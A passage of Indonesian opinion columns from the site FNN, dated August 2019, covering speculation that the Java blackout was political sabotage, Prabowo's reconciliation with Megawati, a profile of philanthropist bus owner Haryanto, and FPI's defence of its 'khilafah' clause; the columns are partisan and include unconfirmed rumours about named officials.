So Bu Megawati tidak boleh terlalu cepat senang. Sudah berhasil memenangkan pertempuran. Pandai-pandailah memahami dan menjaga perasaan para pendukung 02. Kecuali bila targetnya memang hanya sekedar memisahkan Prabowo dari para pendukungnya.

Gara-gara Blackout, Korupsi Anggaran PLN Terkuak?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Indikasi adanya dugaan “sabotase” menyusul blackout total yang terjadi pada Minggu-Senin, 4-5 Agustus 2019 tampaknya sulit dibantah. Meski Karo Penmas Divisi Humas Mabes Polri Brigjen Polisi Dedi Prasetyo menyebut pohon sengon penyebabnya. Apalagi, Polri sudah membentuk tim yang dipimpin oleh Direktur Tindak Pidana Tertentu (Dirtipidter) Bareskrim Polri Brigjen Polisi Fadil Imran. Tim anggotanya kurang lebih ada 30 orang terdiri dari Dirtipidter, kemudian Direktorat Siber (Ditsiber). Menurut Dedi, penyidik Ditsiber dilibatkan lantaran punya cukup wawasan dan pengalaman dalam kasus mati listrik di Eropa. Kala itu, blackout di sana terjadi karena adanya serangan siber (cyber attack). “Sehingga nanti pada tahapan akhir, tim bekerja bisa menemukan apa yang menjadi faktor penyebab utama terjadinya blackout,” tutur Dedi di Mabes Polri, Jakarta Selatan, seperti dilansir Liputan6.com, Rabu (7/8/2019). Menurut Brigjen Dedi Prasetyo, Polri juga akan menggandeng para ahli dari berbagai pihak. Seperti dari Institut Teknologi Bandung (ITB), Badan Pengkajian dan Penerapan Teknologi (BPPT), Kementerian ESDM, dan ahli dari luar negeri. Tim nantinya bekerja secara komperhensif bersama. Mulai dari investigasi permasalahan di hulu sampai dengan hilir, hingga ada atau tidaknya pelanggaran hukum pidana atau pun administrasi. “Tim akan menyampaikan, kalau misal ada hal dari penyelidikan bisa ditingkatkan ke level penyidikan, maka dinaikkan,” tegas Dedi. Tim ini bekerja berdasarkan surat perintah (sprin) Kabareskrim Komjen Polisi Idham Azis. Tidak ada batas waktu untuk dalam melakukan investigasi kasus mati listrik massal tersebut. Keseriusan Polri mengusut blackout total ini jelas mengindikasikan bahwa pemadaman total aliran listrik itu bukan semata karena pohon sengon. Redaksional pemberitahuan adanya pemadaman aliran listrik akibat gangguan pada sejumlah pembangkit Gas Turbin 1-6 Suralaya di Jawa yang dirilis Executive Vice President Corporate Communication & CSR PLN I Made Suprateka, patut disimak! Sementara Gas Turbin 7 saat ini dalam posisi mati (off). Selain itu Pembangkit Listrik Tenaga Gas Turbin Cilegon juga mengalami gangguan atau trip. Gangguan ini mengakibatkan aliran listrik di Jabodetabek mengalami pemadaman. Di Jabar, gangguan pada Transmisi SUTET 500 kV mengakibatkan padamnya sejumlah area seperti Bandung, Bekasi, Cianjur, Cimahi, Cirebon, Garut, Karawang, Purwakarta, Majalaya, Sumedang, Tasikmalaya, Depok, Gunung Putri, Sukabumi, dan Bogor. Pemadaman terjadi karena ada gangguan sirkuit pada pukul 11.48 WIB di Ungaran, dua line terjadi gangguan. Diduga, matinya listrik secara serentak dan massif di berbagai kota adalah dengan tujuan sabotase, mengingat waktunya yang nyaris bersamaan. Apalagi, pihak PLN menyebut terjadi kerusakan sekaligus pada 3 infrastruktur listrik yang 3 lokasinya berbeda: PLTU Suralaya (Banten 1), Transmisi/Jaringan Sutet, dan PLTU Paiton Pacitan. Sehingga mengakibatkan terjadi penurunan suplai listrik. Namun, anehnya, sarana Objek Vital (OBVITAL) juga terkena dampak pemadaman itu. Plt Direktur Utama PT PLN (Persero) Sripeni Inten Cahyani di depan Presiden Joko Widodo menjelaskan, pertama terjadi gangguan pada pukul 11.48 WIB di Ungaran. Dalam waktu yang bersamaan, terjadi pula pemadaman pada sirkuit yang lainnya. Ini yang menyebabkan mulai muncul jawaban dari pertanyaan: Listrik PLN mendadak padam sampai kawasan Ring 1 dan Obvital yang tidak pernah/tidak boleh kena pemadaman listrik. Telekomunikasi dan transportasi berbasis listrik seperti MRT dan KRL jadi lumpuh. Ada apa gerangan? PLTU Paiton, PLTU Suralaya, dan GSW (transmisi) tiba-tiba rusak serentak pada waktu yang sama. Catat, ini pemadaman, bukan padam karena gangguan teknis! Sabotase Politik? Meski sebelumnya dibantah pihak PLN, namun dugaan adanya “sabotase” bermuatan politik sulit dihindari. Mulai muncul desakan kepada Presiden Jokowi supaya segera menunjuk dan menetapkan Dirut PLN definitif. Adalah Alex Janangkih Sinaga, mantan Dirut PT Telkom, yang sebelumnya sempat disebut-sebut sebagai calon kuat Dirut PLN pengganti Sofyan Ba’asyir yang menjadi tersangka KPK. Konon, Alex ini “orangnya” Menko Kemaritiman Luhut Binsar Panjaitan. Info liar beredar. Blackout total ini terkait dengan tekanan terhadap Presiden Jokowi supaya segera menetapkan Alex sebagai Dirut PLN definitif untuk menggantikan Sripeni dari jabatan Pelaksana Tugas Dirut PLN. Jadi, rasanya tidak berlebihan kalau ada kecurigaan bahwa blackout total itu adalah sabotase bermotif politik. Jika tak ada unsur sabotase tentunya PLN tidak perlu mengundang Profesor dari 7 PTN di Jawa dan Bali untuk membantu investigasi. Adalah langkah tepat, PLN telah membentuk Tim Independen Investigasi PLN khusus untuk menemukan fakta di balik kerusakan serentak PLTU Paiton Pacitan, PLTU Suralaya, dan GWS. Para pakar dari 7 PTN itulah yang diharapkan bisa menjawabnya. Setidaknya, paling lama seminggu dapat dipastikan ketemu penyebab sesungguhnya. Terus, paling lama sebulan ketemu oknum pelaku dan dalang sabotasenya. Tim Investigasi PLN ini bisa bertanya: Mengapa bisa terjadi kerusakan serentak di 3 titik berbeda? Mengapa bisa sampai blackout total? Mengapa tidak ada back up suplai untuk Obvital? Siapa PIC yang bertugas pada ketiga titip dan suplai Obvital itu? Mengapa sampai telekomunikasi ikut lumpuh. Mengapa pula pohon sengon jadi “tertuduh”? Siapa tahu dari “kriminalisasi” sengon itu bisa membuka tabir korupsi tiang (tower) SUTET yang tidak sesuai dengan ketentuan yang berlaku. Apakah tinggi tower 40 m seperti yang di SUTET Ungaran itu sudah benar. Faktanya, tinggi tiang SUTET itu 40 m. Tapi bentangannya menggelayut dengan tinggi 18 m. Tinggi sengon itu sekitar 15 m. Jelas, ini sudah mencapai medan magnet SUTET. Mengapa tidak dipangkas hingga mencapai “jarak aman”? Itulah. Mengapa tidak boleh adanya pohon dekat SUTET (Saluran Utama Tegangan Ekstra Tinggi). Jangankan sampai nyenggol. Memasuki medan magnetnya pun sudah mengganggu. Bisa korsleting. Yang mengakibatkan arus listrik terhenti. Sudah tidak adakah anggaran pemeliharaan jaringan SUTET lagi? Siapa yang bertanggung-jawab jika terjadi blackout seperti ini? Di sinilah mengapa perlu dibentuk Tim Independen Investigasi PLN yang melibatkan pakar dari 7 PTN tersebut. Dahlan Iskan, mantan Meneg BUMN dan Dirut PLN, bertanya, mengapa sengon dibiarkan tumbuh tinggi di situ? Mengapa tidak ada yang tahu?Apakah tidak ada lagi anggaran untuk patroli pohon? Mengapa ada kebijakan anggaran ini – bahwa biaya operasi dan pemeliharaan harus di bawah anggaran SDM? Mengapa SUTET itu begitu rapuh? Hanya kesenggol satu pohon saja sudah pingsan?” tulis Dahlan Iskan di Pepnews.com. Executive Vice President Corporate Communication & CSR PLN I Made Suprateka sempat memastikan pohon sengon yang menjadi penyebab mati listrik berjam-jam itu. Meski pada akhirnya, penyebab ini dibantah sendiri oleh pihak PLN. “Faktanya adalah terjadi di Ungaran (Jawa Tengah), itu SUTET 500 kilovolt (kV) itu ada berdekatan dengan pohon. Pohon ini mencapai ketinggian 9 meter. Nah, ini menyebabkan adanya hubungan singkat,” ungkap Made Suprateka. “Ada kebakaran di sana, tidak besar, kecil, namun membuat jaringan rusak fatal,” ungkapnya saat ditemui di Kantor PLN Pusat, Jalan Trunojoyo, Jakarta Selatan, Senin (5/8/2019). Ironis, lumpuhnya jaringan telekomunikasi mengikuti blackout adalah tidak logis. Karena, setiap BTS itu wajib punya Genset sebagai sumber listrik cadangan. Kelumpuhan jaringam Telkom kemarin bagian dari penciptaan tekanan terhadap Presiden Jokowi terkait Dirut PLN. Inilah yang dimaksud “sabotase bermotif politik” tadi. Perlu dicatat, di setiap PLTU biasanya tertulis PLTU Blablabla kapasitas 2 x 100 MW, dan seterusnya, selalu pakai “2 x ... MW”. Hal itu maksudnya, setiap pembangkit punya 2 turbin penghasil listrik yang beroperasi secara bergantian. Ini untuk menghindari terputusnya suplai listrik. Terputusnya/berkurangnya pasokan listrik karena kerusakan PLTU artinya kedua turbin mengalami kerusakan serentak. Hal ini jarang terjadi karena turbin yang sedang tidak beroperasi selalu dalam perawatan. Lebih aneh lagi jika kedua PLTU rusak serentak berarti sama dengan 4 turbin janjian rusak, seperti blackout total kemarin itu. Apalagi, semakin aneh jika GSW Sutet disebut-sebut juga ikut mengalami kerusakan. Semakin aneh ketika pasokan dari Pembangkit cadangan tidak dioperasikan. Padahal, banyak PLTD yang siap beroperasi untuk pasok listrik pengganti. Mengapa PLTD tak dioperasikan? Inilah mengapa kecurigaan adanya “sabotase” mencuat! ***

Strategi Prabowo Makin Mantap

Dengan strategi rekonsiliasi dan koalisi, Prabowo melakukan banyak hal sekaligus. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Benar juga, ternyata. Benar bahwa Prabowo Subianto adalah ahli strategi yang luar biasa hebat. Mula-mula dia memberikan legitimasi kepada Jokowi. Bersalaman di stasiun Lebak Bulus. Banyak orang yang ribut. Bahkan mencela dia. Kemudian, Prabowo melakukan rekonsiliasi. Setelah itu, siap menerima ajakan berkoalisi. Ajakan bagi-bagi kekuasaan. Para pendukung setia Prabowo wajar kagum. Sang idola memang pintar memporak-porandakan Kubu 01. Bersalaman dengan Jokowi, kemudian mendatangi rumah Megawati untuk makan nasi goreng. Setelah itu, Prabowo semakin jauh melakukan penetrasi ke jantung lawan. Beginilah keyakinan para pendukung. Mereka percaya, Prabowo akan menang. Strategi hebat itu berlanjut. Prabowo diundang oleh Megawati untuk menghadiri Kongres ke-5 PDIP di Bali, hari ini (7/8/2019). Semakin dihormati oleh Banteng. Semakin disegani oleh Megawati. Itulah strategi Prabowo. Orang lain tak mampu memahaminya. Tak mampu membaca strategi cemerlang itu. Tetapi, Bu Mega meminta para kader PDIP agar tidak menyoraki Prabowo sewaktu memasuki ruang kongres. Mega meminta agar semua kader menghormati tamu. Tampaknya, Bu Mega kurang yakin juga kalau semua orang PDIP senang kepada Prabowo. Di Bali, Prabowo akan mengobark-abrik Kongres PDIP. Begitulah, mungkin, bayangan tentang strategi Prabowo. Dia akan menggiring para petinggi Banteng agar menekan Jokowi supaya memberikan kekuasaan sebesar mungkin kepada orang-orang 02. Pokoknya, kongres di Bali akan menjadi panggung Prabowo. Boleh jadi, begitulah yang harus diyakini oleh para pendukung 02. Ketum Gerindra akan membuat Adian Napitupulu tersipu-sipu. Selama ini dia habis-habisan melecehkan Prabowo. Kali ini, Adian akan dibuat tak berkutik. Dia tak akan berani lagi menyebut-nyebut keterlibatan Prabowo dalam huruhara 1998. Kelihatannya, Adian akan datang meminta maaf kepada Prabowo. Selama ini, Adian berkali-kali mengatakan Prabowo itu penculik. Sekarang, dengan strategi rekonsiliasi dan koalisi, Prabowo melakukan banyak hal sekaligus. Dia akan dihormati. Dia akan mendapatkan kekuasaan besar. Prabowo akan dipulihkan nama baiknya oleh PDIP. Para pemilih Prabowo seharusnya tidak usah khawatir. Harus percaya Prabowo akan berhasil menghancurkan Jokowi dan para sekutunya. Para pendukung Prabowo diimbau agar yakin bahwa semua orang di Kubu 01 itu bisa diacak-acak oleh mantan Danjen Kopassus itu. Pokoknya jangan ragu. Dia itu ahli perang. Ahli mengepung dan melumpuhkan musuh. Jadi, Anda semua perlu terus bersabar. Bisa jadi nanti Prabowo yang, akhirnya, dilantik menjadi presiden. Percayalah, kalau Prabowo sampai memutuskan untuk mengambil posisi yang semakin dekat ke Bu Mega, itu artinya ada sesuatu yang besar yang sedang dipersiapkan untuk Prabowo. Memang kita semua harus sama-sama menonton episode yang cukup membingungkan. Bingung karena Prabowo sekarang bergerak sendirian. Tapi, tidak apa-apa kebingungan sebentar demi strategi yang jitu. ***

Pangkat Kopral, Rezeki Lebih dari Jenderal

Dia menggunakan kekayaannya untuk membantu orang lain dan menebar kebaikan. Oleh Hersubeno Arief Jakarta, FNN - Brigjen TNI (Purn) Mazni Harun berdiri dalam posisi sikap sempurna di atas panggung, sambil memberi hormat. Di bawah panggung Kopral Kepala (Kopka) TNI (Purn) Haryanto, membalasnya memberi hormat. Adegan "janggal" itu berlangsung di garasi Perusahaan Otobus (PO) Haryanto di pinggiran Kota Kudus, Rabu sore (7/8). Seorang jenderal memberi hormat seorang kopral —kendati sudah sama-sama pensiun—di luar sebuah kelaziman tradisi militer. Mazni mantan Komandan Satgas Intel Badan Intelijen Strategis (BAIS) TNI mengaku pantas memberikan penghormatan itu. “Haryanto ini orang yang luar biasa,” ujarnya. Dia sangat terharu dan bangga bisa mengajak sejumlah purnawirawan bersilaturahmi dengan Haryanto. Salah satunya Letjen TNI (Purn) Sjafrie Sjamsoeddin yang pernah menjadi atasan Haryanto di Kodam Jaya. Kopral Haryanto pemilik PO Haryanto adalah mantan anak buah Mazni saat dia menjadi Komandan Batalyon Arhanud 1/1 Kostrad di Serpong Tangerang (1990-1993). Bukan karena Haryanto kini telah menjadi orang sukses, harta kekayaannya melebihi para jenderal. Namun perjuangan dan sikap hidupnya, memang pantas mendapat penghormatan. Bukan hanya dari Mazni. Sejumlah pensiunan perwira tinggi yang hadir di tempat itu juga menyatakan salut dan respeknya terhadap Haryanto. “Jarang orang kaya yang sangat dermawan dan pemurah seperti pak Haryanto, “ ujar mantan KSAU Marsekal TNI (Purn) Imam Sufaat. Cerita tentang Haryanto adalah perpaduan antara kegigihan, keuletan, dan keteladanan. Dalam bahasa anak-anak milenial sekarang, Haji Haryanto adalah pengusaha startup yang suskes dan tumbuh besar. Dia juga seorang philantropis, dermawan. Lahir sebagai anak ke-6 dari 9 orang bersaudara, Haryanto anak seorang petani miskin. Ketiadaan biaya membuatnya gagal meneruskan studinya di STM. Bermodal ijazah Sekolah Teknik (ST), setingkat SLTP, dia kemudian melamar menjadi prajurit ABRI. Dia beruntung diterima menjadi anggota ABRI dengan pangkat paling rendah, Prajurit Dua. Tugasnya menjadi sopri truk mengangkut alat-alat berat, meriam, dan logistik untuk pasukan. Semangatnya membara untuk mengubah nasib membuat Haryanto mencari penghasilan tambahan selepas dinas. “Saya menjadi sopir omprengan dengan trayek Serpong ke Kota Tangerang,” ujarnya. Dari hasil menabung, dia kemudian bisa membeli angkot. Jumlah angkotnya terus bertambah, sampai mencapai 50. Pangkatnya prajurit, tapi sudah jadi juragan angkot. “Saya ingat pada tahun 90-an itu Haryanto menyunatkan anaknya dengan mengundang dalang Ki Mantep Sudarsono. Acara digelar di alun-alun Tangerang. Bayarannya kalau gak salah waktu itu sudah Rp 50 juta,” ujar Mazni. Dari Batalyon Arhanud I, Haryanto dimutasi ke Kodam Jaya. Pangdam Jaya saat itu Mayjen TNI Sjafrie Sjamsoeddin teman satu angkatan Mazni Harun (Akabri 1974). Karena bisnisnya terus membesar, Haryanto akhirnya memutuskan pensiun dini. Dia pensiun pada tahun 2002 pada usia 43 tahun. Dengan modal kucuran dari BRI sebesar Rp 3 miliar, Haryanto membeli 6 armada bus. Usahanya hampir bangkrut ketika krisis ekonomi melanda tahun 2007-2008. Dia terlilit utang ke BRI sebesar Rp 27 miliar. Namun setelah dijadwal ulang pembayarannya, dia mendapat keringanan selama 5 tahun. Dengan bantuan Bank Nagari, dalam waktu 3 tahun utang itu berhasil dilunasi. Usahanya terus tumbuh. Kini dia memiliki 250 armada bus. Terdiri dari bus pariwisata dan bus angkutan kota antar provinsi (AKAP). (Sangat memuliakan anak yatim dan ibunda) Cerita tentang Haryanto tidak hanya berhenti pada keberhasilannya menjadi juragan perusahaan bus, sejumlah restoran, dan pom bensin. Apa yang dilakukannya dengan kekayaan itu justru jauh lebih menarik. Dia menggunakan kekayaannya untuk membantu orang lain dan menebar kebaikan. Dia menampung sejumlah temannya, termasuk para pensiunan tentara, bekerja di perusahaannya. Seorang karyawannya ada yang pensiunan perwira menengah berpangkat Letnan Kolonel. Haryanto saat ini mengurus dan menyantuni 4.000 anak yatim. Dia juga membiayai para hafidz penghafal Al Quran di beberapa pesantren. Setiap tahun dia memberangkatkan puluhan orang, termasuk para karyawannya umroh dan haji. Haryanto juga banyak membangun masjid. Secara personal Haryanto dikenal sebagai pribadi sederhana dan soleh. Dia selalu mengajak karyawannya untuk salat berjamaah lima waktu. Sebuah spanduk di garasi armada busnya bertuliskan sebuah pesan : Apabila Hidupmu Susah. Tengoklah Sudah Benarkah Sholat Berjamaahmu??? Haryanto juga menjalankan puasa sunah yang sangat jarang dilakukan orang. Puasa Dalail Khairat. Puasa sunah yang dilakukan setiap hari sepanjang tahun. Puasa ini dilengkapi dengan membaca salawat nabi dari kitab Dala’il Al Khairat yang ditulis seorang tokoh sufi asal Maroko Imam Al Jazuli. Puasa semacam ini banyak diamalkan oleh santri di Pondok Pesantren Darul Fallah 3 Jekulo, Kudus dan beberapa pesantren lain di Jawa. Selain salat berjamaah tepat waktu, dan puasa dalail, Haryanto punya satu amalan lagi yang menjadi satu kunci keberhasilannya. Dia sangat memuliakan Ibunya. Dia sering terlihat mengendong ibunya, kendati dalam usia 90 tahun masih sangat sehat. Keuletan, kedermawanan, dan sikapnya yang memuliakan anak yatim dan ibunda menjadi kunci sukses Haryanto. Dia pantas mendapat penghormatan bukan hanya dari para purnawirawan petinggi militer, mantan atasannya, namun juga dari kita semua. End

Khilafah Pancasila FPI

Ideologi FPI berdasarkan Pancasila dan mendukung NKRI. Tak ada gunanya Kemendagri mengutak-atik perpanjangan perizinan. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Front Pembela Islam atau FPI berada di persimpang jalan. Masa berlaku izin ormas ini telah habis per 20 Juni 2019 lalu. Di sisi lain, upaya perpanjangan izin menemui jalan buntu. Presiden Joko Widodo memberi sinyal, izin FPI kemungkinan tidak diperpanjang. FPI dianggap bertentangan dengan Pancasila dan UUD 45. Ini gara-gara dalam anggaran dasar dan anggaran rumah tangga (AD/ART) FPI menyebut gagasan pembentukan khilafah Islamiyah. Soal itu, FPI mengajak dialog dengan pemerintah, bahkan Presiden Jokowi, jika perlu. Namun Kepala Staf Kepresidenan (KSP), Moeldoko, menegaskan pintu dialog dengan FPI tertutup. Tak ada yang perlu didiskusikan lagi. "Apalagi yang perlu dialog?" katanya, Selasa (6/8). Menurut Moeldoko, permasalahan FPI akan selesai jika ormas yang identik dengan Habib Rizieq Syihab itu mendeklarasikan Pancasila sebagai ideologi. Jika sudah diubah, dia memastikan tak ada lagi persoalan yang menerpa FPI. Dalam wawancara dengan Associated Press hari Jumat (26/7), Presiden Jokowi secara tegas bilang tidak akan memperpanjang izin ormas yang dinilai tidak sejalan dengan nilai-nilai Pancasila. “Jika organisasi itu membahayakan secara ideologi, saya tak akan kompromi. Tetapi kalau ideologinya masih sama, Pancasila, saya kira kita bisa bersama-sama membangun negeri ini,” ujarnya. Sejak Juni 2019, FPI telah mengajukan surat rekomendasi ke Kementerian Agama sebagai prasyarat perpanjangan izin ke Kementerian Dalam Negeri. Hanya saja, hasilnya belum keluar hingga kini. “Biasanya Kemendagri tidak ada masalah, sekarang yang justru lama itu di Kemenag. Pasal yang masih dipersoalkan dan masih perlu penjelasan dari kami yakni pasal 6 tentang penegakan khilafah,” demikian Juru Bicara FPI, Slamet Ma’arif, Senin (5/8). Menurut Slamet, FPI saat ini tengah berdialog dengan pihak Kemenag untuk mendiskusikan pasal tersebut. “Mungkin kawan-kawan di Kemenag belum paham betul yang dimaksud dengan khilafah ala minhajin nubuwah yang ada di AD/ART FPI itu. Makanya perlu penjelasan dari kami,” ujarnya. Tafsir Khilafah Slamet menilai bahwa tafsir khilafah yang dituduhkan kepada FPI, oleh Presiden, dianggap mengada-ada. “Itu presiden yang bisa jawab, bukan saya. Tugas kami ketika ditanya yang ada di anggaran dasar ya kami jelaskan. Dan saya pikir gini, Departemen Agama yang lalu enggak ada masalah, Departemen Dalam Negeri lima tahun yang lalu enggak ada masalah. Jadi saya pikir tidak pernah mengada-ada sesuatu yang tidak ada begitu,” ujarnya. FPI saat ini sedang berupaya melengkapi persyaratan yang diminta oleh Kemendagri. Sayangnya, di tengah upaya FPI melakukan pelengkapan administrasi, banyak pejabat pemerintah yang justru memberikan pernyataan kontroversial. Inilah yang pada akhirnya masalah ini menjadi masalah politik. Soalnya, bukan sekali dua kali ini saja FPI mengajukan perpanjangan izin. Slamet menjelaskan, FPI telah berniat baik dengan mengikuti peraturan perundang-undangan yang berlaku. Hanya saja, misalkan FPI sudah memenuhi segala persyaratan kemudian izin tidak keluar, dia bilang, tidak ambil pusing. “Kita terus dengan gerakan kita dengan perjuangan kita,” ujarnya. Slamet berpendapat bahwa FPI dipersulit oleh Kementerian Agama dalam membuat surat rekomendasi perpanjangan SKT di Kemendagri karena Kemenag menyoroti kalimat khilafah nubuwah dalam AD/ART FPI. Menurutnya, khilafah nubuwah yang dimaksud FPI ialah memperkuat kerja sama umat Islam antarnegara. Misalnya, seperti menyatukan mata uang berbagai negara mayoritas Islam menjadi dinar. Slamet merasa bahwa Kemenag kurang memahami khilafah. Meski jelas mendukung penegakan khilafah, Slamet menyebutkan bahwa khilafah versi FPI tidak akan merongrong NKRI. “Kami NKRI harga mati.” Beberapa bentuk khilafah yang didukung FPI ialah penguatan Organisasi Kerja Sama Islam (OKI) dan penyatuan mata uang bagi negara-negara Islam seperti di Eropa. Khilafah ala minhajin nubuwah itu, pertama, FPI ingin memperkuat OKI agar sesame negara Islam saling mengayomi. Di sisi lain, FPI mengusulkan agar negara berbasis mayoritas Islam memiliki mata uang tunggal, seperti Euro. Khilafah versi FPI juga mendorong negara-negara berpenduduk mayoritas muslim seperti Indonesia dan Malaysia tidak perlu menggunakan paspor antarnegara. Kepala Bidang Penegakan Khilafah FPI, Awit Masyhuri, menantang siapa saja agar menggarisbawahi dalam hal apa FPI bertentangan dengan Pancasila. “Asas kami Islam, dan alirannya Aswaja (Ahlus Sunnah wal Jama’ah). Soal khilafah, ini dibahas di Munas, kami gagas khilafah Islamiyah versi FPI. Kami mendorong negara-negara Islam di OKI membentuk khilafah seperti Uni Eropa. Itu khusus dunia Islam. Artinya dunia Islam bersatu, bukan melahirkan khilafah,” kata Awit dalam video talkshow Mata Najwa di Narasi TV yang bertajuk FPI: Simalakama Ormas yang diunggah di akun Youtube resmi Najwa Shihab. FPI didirikan tanggal 17 Agustus 1998, bertepatan dengan hari proklamasi kemerdekaan Republik Indonesia. Awit mengatakan tanggal itu saja sudah menjelaskan bahwa, “Kita ini NKRI banget.” Wakil Ketua Majelis Syuro Partai Keadilan Sejahtera (PKS), Hidayat Nur Wahid, mengatakan bahwa Kemendagri semestinya tidak perlu membesar-besarkan urusan perpanjangan izin FPI. “Sementara yang lain enggak pernah ditanya tuh, Anda sudah perpanjang izin apa belum.” FPI menurutnya bukanlah ormas yang bertentangan dengan ideologi Pancasila dan bahkan sangat dekat dengan rakyat. Hidayat mengklaim bahwa pimpinan FPI Rizieq Shihab kerap bicara memperjuangkan NKRI. “Mereka ada di garda terdepan untuk membantu masyarakat, misal korban banjir dan sebagainya.” FPI punya hak politik seperti organisasi politik lain. “Perlu ditegaskan, FPI dalam berpolitik tidak mencari jabatan atau kursi. Kami mengajukan konsep. Soal jadi partai, sejak awal pendiriannya tidak boleh menjadi partai,” ujar Awit. Tak Mudah Bubarkan FPI Upaya beberapa pihak yang ingin membubarkan FPI tidak ini kali saja. Pada Oktober 2014, misalnya, Polda Metro Jaya sempat memberikan rekomendasi ke Kemendagri untuk membubarkan FPI. Tuntutan pembubaran ini menyusul demo FPI di DPRD dan Balaikota DKI Jakarta pada 3 Oktober 2014. Demo tersebut menolak Wakil Gubernur DKI Jakarta Basuki Tjahaja Purnama alias Ahok sebagai gubernur. Demo berlangsung ricuh. Sebanyak 11 petugas kepolisian terluka dan 22 anggota FPI ditetapkan menjadi tersangka. Kapolda Metro Jaya, Irjen Pol Unggung Cahyono, kala itu berucap pihaknya sudah dua kali memberikan rekomendasi kepada Kemendagri untuk membubarkan FPI. Tapi dia menegaskan pembubaran tersebut bukanlah wewenang Polri, melainkan Kemendagri. Habib Rizieq yang kala itu sebagai Ketua Umum FPI mengingatkan pembubaran organisasi sebesar FPI tidak mudah. Sebab perlu ada proses untuk membubarkan sebuah organisasi yang didasarkan pada undang-undang. "Tidak semudah membalikkan telapak tangan. Kita punya undang-undang dan aturan," ujarnya. Pada era Presiden Susilo Bambang Yudhoyono atau SBY, juga dianggap duri dalam daging bagi pemerintah. Kala itu, sudah beberapa kali muncul tuntutan agar FPI dibubarkan. Bahkan Presiden sendiri sudah mengakui FPI sering membuat resah. Pernyataan itu antara lain dikeluarkan SBY, pada tahun 2011, saat perayaan hari Pers Nasional di Kupang NTT. Kala itu SBY memerintahkan agar organisasi massa yang menciptakan keresahan ditindak tegas, jika perlu dibubarkan. Nyatanya, hal itu hanya sampai di situ saja. FPI tetap tegar. Lalu, pada saat jumpa pers di Istana Negara, 13 Maret 2012, SBY juga mengatakan hal senada. Kala itu, Presiden menyatakan ormas yang dianggap paling sering melakukan aksi kekerasan adalah FPI. Cuma, Presiden hanya meminta FPI melakukan instrospeksi diri. Sapai di situ saja. Dulu Benci Sekarang Cinta Panglima Laskar Pembela Islam (LPI), Maman Suryadi Abdurrahman, mengklaim jumlah anggota FPI saat ini mencapai lebih dari satu juta orang. Kiprah FPI dalam membantu korban bencana alam di Indonesia tidak bisa dianggap sepele. Ormas ini selalu terdepan dalam setiap penanganan bencana. Stephen Wright menulis dedikasi FPI tersebut dalam artikel berjudul "When Disaster Hits, Indonesia’s Islamists are First to Help" yang diunggah di The Washington Post pada 11 Juni lalu. Dia mengawali tulisan itu dengan menceritakan bendera FPI yang terpasang di rumah Anwar Ragaua, korban tsunami Palu. Lelaki berusia 50 tahun itu tak menghiraukan perintah polisi untuk menurunkan bendera tersebut. Anwar adalah satu-satunya nelayan yang selamat saat tsunami melanda ibukota Sulawesi Tengah 28 September lalu. Anwar mengenang bahwa saat itu tidak ada polisi dan pemerintah yang membantu evakuasi di daerahnya. Sebaliknya, pihak pertama yang menawarkan harapan kepadanya adalah FPI. Bahkan FPI turut menyerahkan kapal baru untuknya kembali melaut. Kehadiran FPI dalam tanggap bencana mulai dilakukan pada saat terjadi tsunami Aceh tahun 2004. Tsunami ini menewaskan lebih dari 200 ribu orang di Serambi Mekah. Teranyar, FPI turut berperan dalam mengevakuasi korban gempa dan tsunami Palu yang menewaskan lebih dari 4.000 jiwa. Mereka membantu pencarian korban, mendistribusikan bantuan ke daerah pelosok, dan membangun perumahan sementara dan masjid baru. FPI memang unik. Banyak orang mengaku, dulu membenci sepak terjang FPI, namun kini berbalik demen banget. Ahmad Dhani dan Ratna Sarumpaet adalah dua orang top yang layak dijadikan contoh. Pada 2005, Dhani sempat musuhan dengan FPI. Gara-garanya, FPI melaporkan dirinya ke Polda Metro Jaya pascapeluncuran album Laskar Cinta (2004). Dewa dianggap menyalahgunakan simbol-simbol Islam lantaran memuat kaligrafi bertuliskan “Allah” di sampul album Laskar Cinta. Dhani dan rekan-rekannya di Dewa juga dituding melecehkan Islam karena menginjak-injak karpet merah bertuliskan “Allah” saat konser yang disiarkan di televisi. Kasus ini pada akhirnya berakhir damai. Dhani lolos dari jerat hukum setelah Dewa melakukan revisi logo dan mencetak ulang sampul albumnya yang kontroversial itu. Bahkan, belakangan ini Dhani dan FPI bergabung dalam satu kubu dalam menyikapi dugaan penodaan agama oleh Basuki Tjahaja Purnama alias Ahok. Aktivis perempuan Ratna Sarumpaet lebih frontal lagi. Pada Agustus 2009, ia membuat petisi pembubaran FPI. Petisi itu dimuat dalam sebuah alamat website http://www.change.org dan diteruskan kepada Presiden SBY. Ada tiga alasan yang membuat Ratna benci dengan FPI. Pertama, saat Pembuatan Film Lastri di Solo (2008), FPI menginjak-injak izin Produksi yang dikeluarkan Mabes Polri. Kedua, FPI mengancam akan bikin rusuh apabila Konser Lady Gaga digelar, Juni 2012. Ketiga, FPI mengancam akan menggagalkan Natal di Semarang, Desember 2012. Sama dengan Dhani, belakangan Ratna juga bersekutu dengan FPI. Bahkan organisasi sayap FPI yakni Laskar Pembela Islam (LPI) mengirim anggotanya untuk menjaga rumah Ratna saat aktivis ini mengaku dianiaya sejumlah orang. Belakangan terungkap, soal penganiayaan itu, Ratna berbohong. Kini, FPI dibenci sekaligus dinanti. Wacana pelarangan FPI yang dilontarkan Presiden Jokowi, oleh banyak pihak, bukan karena perbedaan ideologi, melainkan terkait sikap oposisi FPI selama ini. Ideologi FPI sudah tidak perlu dipertanyakan, karena organisasi tersebut sejalan dengan Pancasila dan mendukung NKRI. Namun, sikap Jokowi ke FPI naga-naganya mirip kasus Hizbut-Tahrir Indonesia atau HTI. Dua ormas ini dianggap berbeda dan disudutkan tanpa diajak duduk bersama. Demokrasi menjamin orang untuk berbeda pendapat. Sudah selayaknya pemerintah mengakhiri kebiasaan menggulung ormas yang berlawanan dengan pemerintah.

Koalisi Teuku Umar Bikin Merinding Trio Ubur-ubur Wiranto, SBY & Paloh

